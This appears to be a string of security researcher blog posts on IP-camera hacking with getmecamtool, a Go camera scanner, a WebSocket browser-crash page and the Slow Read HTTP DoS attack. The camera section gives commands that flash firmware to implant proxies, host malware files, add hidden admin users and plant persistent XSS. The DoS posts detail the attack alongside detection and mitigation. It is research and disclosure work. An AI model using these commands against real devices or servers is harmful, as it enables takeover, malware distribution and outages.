Funny OS/Browser fingerprinter

As of today, this page should crash any webkit-based application that uses CoreText font rendering framework on iOS or OSX 10.8.4

Using getmecamtool

To support the presentation about controlling IP cameras all over the world, we'll try to share some details on what the getmecamtool is doing and how to make it work.

getmecamtool is a tool-set to manipulate software of Foscam FI8910W, FI8908W, FI8909W and their clones.

It has the following components:

- packer/unpacker for system, WebUI and camera settings files (syspack, sysextract, uipack, uiextract, confpack, confextract)

- the main shell script that automates the flow with predefined commands (getmecamtool)

getmecamtool DOES NOT bypass authentication or get credentials for you. Instead, authentication credentials should be provided to the tool to successfully manipulate the camera software.

Check out the presentation to get the idea on how credentials can be potentially harvested.

Before building getmecamtool, there are couple of prerequisites:
 - genromfs is needed to manipulate romfs, which is used on the camera ($ sudo apt-get install genromfs)
- cmake is required to build the getmecamtool ($ sudo apt-get install cmake)
Once ready, get getmecamtool from github

$ git clone https://github.com/artemharutyunyan/getmecamtool

$ cd getmecamtool

$ mkdir build

$ cd build

$ cmake ..

$ make

But we are not done with the installation yet. getmecamtool requires to have a library of firmware files, normally distributed by the camera vendors. Due to legal issues, we are not hosting that software, but you can easily re-create the directory structure and download necessary files by yourself.

Create fwlib directory somewhere. In our examples, we assume it is next to getmecamtool directory cloned from github. The fwlib/ directory should contain unmodified dystem firmware and Web UI from camera vendor.

When run, getmecamtool will determine the current version of dystem firmware (or webUI depending on the operation) on the camera and will try to locate the corresponding file in fwlib directory. Typically,  camera vendors package both system firmware and webUI within the same .zip archive. fwlib should contain two subdirectories sys/ and web/, where corresponding original files should be placed.  For example a directory structure for a camera with webUI version 1.2.3.4 and system firmware version 5.6.7.8 should look like this:

fwlib

|-- sys

|   `-- lr_cmos_5_6_7_8.bin  

|-- web

|   ` -- 1.2.3.4.bin

 Here is an example of running the tool to inject a proxy server or anything else that can be cross-compiled using tools from the corresponding with board support package. We used board support package supplied for Winbond W90N745 board available here:

$ sudo env PATH=$PATH:$(pwd)/../build/bin ./getmecamtool -a X.X.X.X:80 -u admin -p '' -c inject_proxy -e /home/sergey/camtool/getmecamtool/misc/proxy/proxy -s ../../fwlib -o 81

which tells the tool to:

- connect to X.X.X.X:80

- authenticate with 'admin' username and empty password

- determine the version of system firmware running on the camera, get same version from fwlib, unpack it, embed proxy binary into it

- change the camera settings to make web server listen to port 81 (and proxy would listen on the old port, 80 in this case)    

- pack the system firmware file back, verify the integrity, push it on the camera and restart it

sudo is required by mount, which is used to mount the romfs that was extracted from the system firmware.

We chose to push a proxy on the camera, because it demonstrates how an attacker can utilize the forwarded port on NAT by making proxy server listen to it. If the client is aware that it's a proxy - it acts as a proxy, otherwise it acts as a reverse proxy by forwarding requests to local web server on a camera.

Another example runs the tool to host an arbitrary file on the camera, making it, for instance, a malware distributor:

$ sudo env PATH=$PATH:$(pwd)/../build/bin ./getmecamtool -a X.X.X.X:80 -u admin -p '' -c host_file -f /home/sergey/camtool/getmecamtool/misc/install_flash_player.exe -s ../../fwlib

tells the tool to:

- connect to X.X.X.X:80

- authenticate with 'admin' username and empty password

- determine the version of webUI firmware running on the camera, get same version from fwlib, unpack it, embed install_flash_player.exe  into it

- pack the webUI firmware file back, verify the integrity, push it on the camera and restart it

 Two other commands are inject_exec and poison_webui. First one would inject arbitrary executable, and the second one will add a user with admin role and patch the webUI to hide it, as well as it adds a line to one of HTML files to source a javascript from external location, demonstrating how easy is to have a persistant XSS in the victim's browser.

Go, IP cameras and DNS

While working on presentation about IP cameras, Artem crafted a handy shell script that searches for active IP cameras by going over camera vendor's DNS records. The result was some handy numbers, as well as information on how people are using camera vendor provided DDNS service.

Last week I was visting a friend (привет, Виктор!) in Seattle. Between beers, he mentioned Go - a programming environment he uses in one of his projects. He combined next pint with a Go programming lesson and as a result, we wrote a 100 line amazingly simple multi-threaded  scanner that does the same as above mentioned script, but in much more configurable and reliable way.

Get the Go, get the getmecamtool, and in the misc directory you will find the scanner.go file. Simply type:

$ go run scanner.go --help

and the rest should be clear. It currently searches for records with prefix xx1234(two letters and 4 digits), but it should be trivial to change the pattern that matches particular camera vendor's DNS records.

To Watch or Be Watched: Turning Your Surveillance Camera Against You

Last year I was lucky enough to attend the Hack In The Box security conference in Amsterdam. Dhillon and the rest of organizers put a great event and since then I was eager to return.

Subject line of this post is the title of the talk that we are going to present at #HITB2013AMS with my fresh colleague and old neighbor back in Armenia - Artem Harutyunyan.`

We'll try to get some attention on security flaws of widely available IP surveillance cameras that you can get at Home Depot for as low as $70. It's quite a challenge for us, because we never dealt with embedded devices before, although security issues in the embedded web server of the camera themselves are enough to do whatever you/bad guy/Chinese government want.

See you in Amsterdam. 

Follow The RFC!

About 40 minutes before our WebSocket presentation at BayThreat I decided to do the final dry run. The slide with stacktrace of crashed desktop Safari caught my attention and I re-checked if there is still a problem. While current OSX Safari was fixed and I removed the slide, I decided to navigate to that page using Safari on my iPhone running IOS6.

The result was quite surprising, since I thought Apple is using the same webkit engine for all platforms: Safari simply hanged, while minimizing and re-opening caused a crash. Chrome on IOS6 behaved in similar way, while Chrome on OSX was always handling that code properly. Trying it on friends' Galaxy something caused the entire UI of Android to behave funny.

For those who are curious what the code is doing: it does nothing but trying to open several thousand WebSocket connections to non-existing server.

RFC 6455 is quite clear on this:

"There MUST be no more than one connection in a CONNECTING state. If multiple connections to the same IP address are attempted simultaneously, the client MUST serialize them so that there is no more than one connection at a time running through the following steps."

Most likely, mobile versions of popular browsers are just not implementing this policy, causing to either drain the file descriptors pool, or random number generator, or the memory.

This isn't a big deal, I just decided to document this in my blog to see how long would it take to port the policy to the mobile versions. As of today, January 6, the problem still exists, and the web page with deadly javascript is right here .

 

How I Knocked Down 30 Servers from One Laptop

Cross-posted from Qualys Security Labs.

Following the release of the slowhttptest tool with Slow Read DoS attack support, I helped several users test their setups. One of the emails that I received asked me to take a look at test results of the slowhttptest tool. According to the report, the tool brought a service to its knees after only several seconds. This was quite surprising because the system in question was designed to handle requests from several thousands of clients from all across the world, whereas the tool was only opening 1000 concurrent connections.

 

To put things in context it’s worth mentioning that the organization has around 60,000 registered users with a client application installed on their end. That application communicates periodically to the central service, receiving instructions and reporting the results in short bursts (no, it’s not a botnet as you might have thought!). There are around 2,000 running clients at any given time, and several hundreds of them are normally connected concurrently.

 

System Architecture

 

Initially, I was pretty skeptical about being able to DoS the central service, so I asked for details of the system architecture.  The system design followed best practices - the components of the system were being monitored, and all patches were applied in a timely manner.  Thus, it was reasonable to expect that the system should have been able to tolerate the load produced by the slowhttptest tool.

 

Here is the schematic view of the system below:

• A round-robin DNS acting as load balancer that resolves the hostname to one of the Squid’s IP addresses
• Two firewalled reverse proxy servers (Squid) running on powerful dedicated servers
• A cluster of web servers
• A cluster of application servers

 

 

 

I ran dig, a DNS lookup utility, to get the list of IP addresses the hostname can be resolved to. After picking one, I added a line to my /etc/hosts mapping hostname to that particular address and concentrated on attacking a single proxy, rather than spreading the load among all of them. I then configured the slowhttptest tool in an aggressive manner to create the “Slow Read” request of a photo of one of company executives on "Management Team" section of the website.

 

Results

 

Guess what? I got a true denial-of-service by rendering the front-end Squid machine inoperable. This effectively meant that I knocked out tens of backend HTTP servers from a single laptop. After further investigation, the DoS turned out to be a simple misconfiguration. Since the operating system was configured to limit a process to 1024 open file descriptors, the Squid simply ran out of the file descriptors.

 

It was assumed that if a server can handle 60,000 connections per minute, it’s good to go. However, the aspect of connection duration was overlooked, and the system was able to accept, serve and close the connection so fast that the concurrent connections pool was never filled up. Thus, system thresholds were never reached.

 

Moral

 

The moral of the story, aside from “Good beats Evil,” is that the security level of a system is defined by the weakest link in the chain.  This is another example of security  being more than just installing patches. In this particular case, the mistake could have been prevented with proper penetration and stress testing. You should not rely on “secure” architecture, and you should test for potential problems like this slow read DoS.

 

One more anecdote: Open Transport Tycoon Deluxe, an open source simulation game, was found to be vulnerable to a slow read DoS attack which prevented users from joining the server.  The developer community for openTTD reacted very fast and released patches fixing the problem, and even reported the vulnerability to http://cve.mitre.org/. It’d be nice to see other developers taking DoS problems that seriously.

 

Update, January 28 2012:

Released slowhttptest v 1.4, featuring virtually unlimited connections.

Are You Ready For Slow Reading?

Cross-posted from Qualys Security Labs.

Imagine a line at a fast food restaurant that serves two types of burgers, and a customer at the cashier is stuck for a while deciding what he wants to order, making the rest of the line anxious, slowing down the business. Now imagine a line at the same restaurant, but with a sign saying "think ahead of your order," which is supposed to speed things up. But now the customer orders hundreds of burgers, pays, and the line is stuck again, because he can take only 5 burgers at time to his car, making signs ineffective.

 

While developing the slowhttptest tool, I thought about this burger scenario, and became curious about how HTTP servers react to slow consumption of their responses. There are so many conversations about slowing down requests, but none of them cover slow responses. After spending a couple of evenings implementing proof-of-concept code, I pointed it to my so-many-times-tortured Apache server and, surprisingly, got a denial of service as easily as I got it with slowloris and slow POST.

 

Let me remind you what slowloris and slow POST are aiming to do: A Web server keeps its active connections in a relatively small concurrent connection pool, and the above-mentioned attacks try to tie up all the connections in that pool with slow requests, thus causing the server to reject legitimate requests, as in first reastaurnt scenario.

 

The idea of the attack I implemented is pretty simple: Bypass policies that filter slow-deciding customers, send a legitimate HTTP request and read the response slowly, aiming to keep as many connections as possible active. Sounds too easy to be true, right?

 

Crafting a Slow Read

 

Let’s start with a simple case, and send a legitimate HTTP request for a resource without reading the server’s response from the kernel receive buffer.

We craft a request like the following:

 

GET /img/delivery.png HTTP/1.1
Host: victim
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) Presto/2.9.168 Version/11.50
Referer: http://code.google.com/p/slowhttptest/

 

And the server replies with something like this:

 

HTTP/1.1 200 OK
Date: Mon, 19 Dec 2011 00:12:28 GMT
Server: Apache
Last-Modified: Thu, 08 Dec 2011 15:29:54 GMT
Accept-Ranges: bytes
Content-Length: 24523
Content-Type: image/png
?PNG

 

The simplified tcpdump output looks like this:

 

09:06:02.088947 IP attacker.63643 > victim.http: Flags [S], seq 3550589098, win 65535, options [mss 1460,nop,wscale 1,nop,nop,TS val 796586772 ecr 0,sackOK,eol], length 0
09:06:02.460622 IP victim.http > attacker.63643: Flags [S.], seq 1257718537, ack 3550589099, win 5792, options [mss 1460,sackOK,TS val 595199695 ecr 796586772,nop,wscale 6], length 0
09:06:02.460682 IP attacker.63643 > victim.http: Flags [.], ack 1, win 33304, length 0
09:06:02.460705 IP attacker.63643 > victim.http: Flags [P.], seq 1:219, ack 1, win 33304, length 218 
09:06:02.750771 IP victim.http > attacker.63643: Flags [.], ack 219, win 108, length 0
09:06:02.762162 IP victim.http > attacker.63643: Flags [.], seq 1:1449, ack 219, win 108, length 1448
09:06:02.762766 IP victim.http > attacker.63643: Flags [.], seq 1449:2897, ack 219, win 108, length 1448
09:06:02.762799 IP attacker.63643 > victim.http: Flags [.], ack 2897, win 31856, length 0
...
...
09:06:03.611022 IP victim.http > attacker.63643: Flags [P.], seq 24617:24738, ack 219, win 108, length 121 
09:06:03.611072 IP attacker.63643 > victim.http: Flags [.], ack 24738, win 20935, length 0
09:06:07.757014 IP victim.http > attacker.63643: Flags [F.], seq 24738, ack 219, win 108, length 0
09:06:07.757085 IP attacker.63643 > victim.http: Flags [.], ack 24739, win 20935, length 0
09:09:54.891068 IP attacker.63864 > victim.http: Flags [S], seq 2051163643, win 65535, length 0

 

For those who don’t feel like reading tcpdump’s output:  We established a connection; sent the request; received the response through several TCP packets sized 1448 bytes because of Maximum Segment Size that the underlying communication channel supports; and finally, 5 seconds later, we received the TCP packet with the FIN flag.

 

Everything seems normal and expected. The server handed the data to its kernel level send buffer, and the TCP/IP stack took care of the rest. At the client, even while the application had not read yet from its kernel level receive buffer, all the transactions were completed on the network layer.

 

What if we try to make the client’s receive buffer very small?

 

We sent the same HTTP request and server produced  the same HTTP response, but tcpdump produced much more interesting results:

 

13:37:48.371939 IP attacker.64939 > victim.http: Flags [S], seq 1545687125, win 28, options [mss 1460,nop,wscale 0,nop,nop,TS val 803763521 ecr 0,sackOK,eol], length 0
13:37:48.597488 IP victim.http > attacker.64939: Flags [S.], seq 3546812065, ack 1545687126, win 5792, options [mss 1460,sackOK,TS val 611508957 ecr 803763521,nop,wscale 6], length 0
13:37:48.597542 IP attacker.64939 > victim.http: Flags [.], ack 1, win 28, options [nop,nop,TS val 803763742 ecr 611508957], length 0
13:37:48.597574 IP attacker.64939 > victim.http: Flags [P.], seq 1:236, ack 1, win 28, length 235
13:37:48.820346 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:49.896830 IP victim.http > attacker.64939: Flags [P.], seq 1:29, ack 236, win 98, length 28
13:37:49.896901 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:51.119826 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:37:51.119889 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:55.221629 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:37:55.221649 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:59.529502 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:37:59.529573 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:07.799075 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:38:07.799142 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:24.122070 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:38:24.122133 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:56.867099 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:38:56.867157 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:40:01.518180 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:40:01.518222 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:42:01.708150 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:42:01.708210 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:44:01.891431 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:44:01.891502 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:46:02.071285 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:46:02.071347 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:48:02.252999 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0 
13:48:02.253074 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0,  length 0
13:50:02.436965 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:50:02.437010 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0

 

In the initial SYN packet, the client advertised its receive window size as 28 bytes. The server sends the first 28 bytes to the client and that’s it! The server keeps polling the client for space available at progressive intervals until it reaches a 2-minute interval, and then keeps polling at that interval, but keeps receiving win 0.

 

This is already promising: if we can prolong the connection lifetime for several minutes, it’s not that bad. And we can have more fun with thousands of connections! But fun did not happen. Let’s see why: Once the server received the request and generated the response, it sends the data to the socket, which is supposed to deliver it to the end user. If the data can fit into the server socket’s send buffer, the server hands the entire data to the kernel and forgets about it. That’s what happened with our last test.

 

What if we make the server keep polling the socket for write readiness? We get exactly what we wanted: Denial of Service.

 

Let’s summarize the prerequisites for the DoS:

• We need to know the server’s send buffer size and then define a smaller-sized client receive buffer. TCP doesn’t advertise the server’s send buffer size, but we can assume that it is the default value, which is usually between 65Kb and 128Kb. There’s normally no need to have a send buffer larger than that.
• We need to make the server generate a response that is larger than the send buffer. With reports indicating the Average Web Page Approaches 1MB, that should be fairly easy. Load the main page of the victim’s Web site in your favorite WebKit-based browser like Chrome or Safari and pick the largest resource in Web Inspector.

 

 

If there are no sufficiently large resources on the server, but it supports HTTP pipelining, which many Web servers do, then we can multiply the size of the response to fill up the server’s send buffer as much as we need by re-requesting same resource several times using the same connection.

 

For example, here’s a screenshot of mod_status on Apache under attack:

 

 

As you can see, all connections are in the WRITE state with 0 idle workers.

 

Here is the chart generated by the latest release of slowhttptest with Slow Read attack support:

 

 

 

Even though the TCP/IP stack shouldn’t make decisions on resetting alive and responsive connections, and it is the “userland” application’s responsibility to do so, I assume that some TCP/IP implementations or firewalls might have timers to track connections that cannot send data for some time. To avoid triggering such decisions, slowhttptest can read data from the local receive buffer very slowly to make the TCP/IP stack reply with ACKs with window size other than 0, thus ensuring some physical data flow from server to client.

 

While I was implementing the attack, I contacted Ivan Ristic to get his opinion and suggestions. I was suspecting there would be attacks exploiting zero/small window, but I thought I am the first one to apply it to tie up an HTTP server.  I was surprised when Ivan replied with links to sockstress by Outpost24 and Nkiller2 exploiting Persist Timer infiniteness that are already covering most aspects I wanted to describe. However, the above mentioned techniques are crafting TCP packets and use raw sockets, whereas slowhttptest uses only the TCP sockets API to achieve almost the same functionality.

 

We still think it’s worthwhile to have a configurable tool to help people focus and design defense mechanisms, since this vulnerability still exists on many systems three years after it was first discovered, and I consider Slow Read DoS attacks are even lower profile and harder to detect than slowloris and slow POST attacks.

 

There is a vulnerability note on the US-CERT Web site as well as MS09-048, CVE-2008-4609, CVE-2009-1925, CVE-2009-1926 describing this problem.

 

For protocols like SPDY and WebSocket, this vulnerability could be even more critical, as they rely on persistent connections by design.

 

Detection

 

For passive (non-intrusive) detection of vulnerability, the presence of several conditions could be checked:

• The server accepts initial SYN packets with an abnormally small advertised window
• The server doesn’t send RST or FIN for some time (30 seconds should be more than enough), if recipient cannot accept the data
• Persistent connections (keep-alive) and HTTP pipelining are enabled

 

If all three conditions are met, we can assume server is vulnerable to Slow Read DoS attack. QualysGuard Web Application Scanner (WAS) uses similar approach to discover the vulnerability.

 

For active detection, I would recommend using slowhttptest version 1.3 and up. See installation and usage examples.

 

Mitigation

 

All servers I observed (Apache, nginx, lighttpd, IIS 7.5) are vulnerable in their default configuration.

 

The fundamental problem here is how servers are handling write readiness for active sockets.

 

The best protection would be:

• Do not accept connections with abnormally small advertised window sizes
• Do not enable persistent connections and HTTP pipelining unless performance really benefits from it
• Limit the absolute connection lifetime to some reasonable value

 

Some servers have built-in protection, which is turned off by default. For example, lighttpd has the server.max-write-idle option to specify maximum number of seconds until a waiting write call times out and closes the connection.

 

Apache is vulnerable in its default configuration, but MPM Event, for example, handles slow requests and responses significantly better than other modules, but falls back to worker MPM behavior for SSL connections. ModSecurity supports attributes to control how long a socket can remain in read or write state.

 

There is a handy script called “Flying frog” available, written by Christian Folini, an expert in Application Layer DoS attacks detection. Flying frog is a monitoring agent that hovers over the incoming traffic and the application log. It picks individual attackers, like a frog eats a mosquito.

 

Update, January 6, 2012:

SpiderLabs came up with details on mitigation:

ModSecurity Advanced Topic of the Week: Mitigation of 'Slow Read" Denial of Service Attack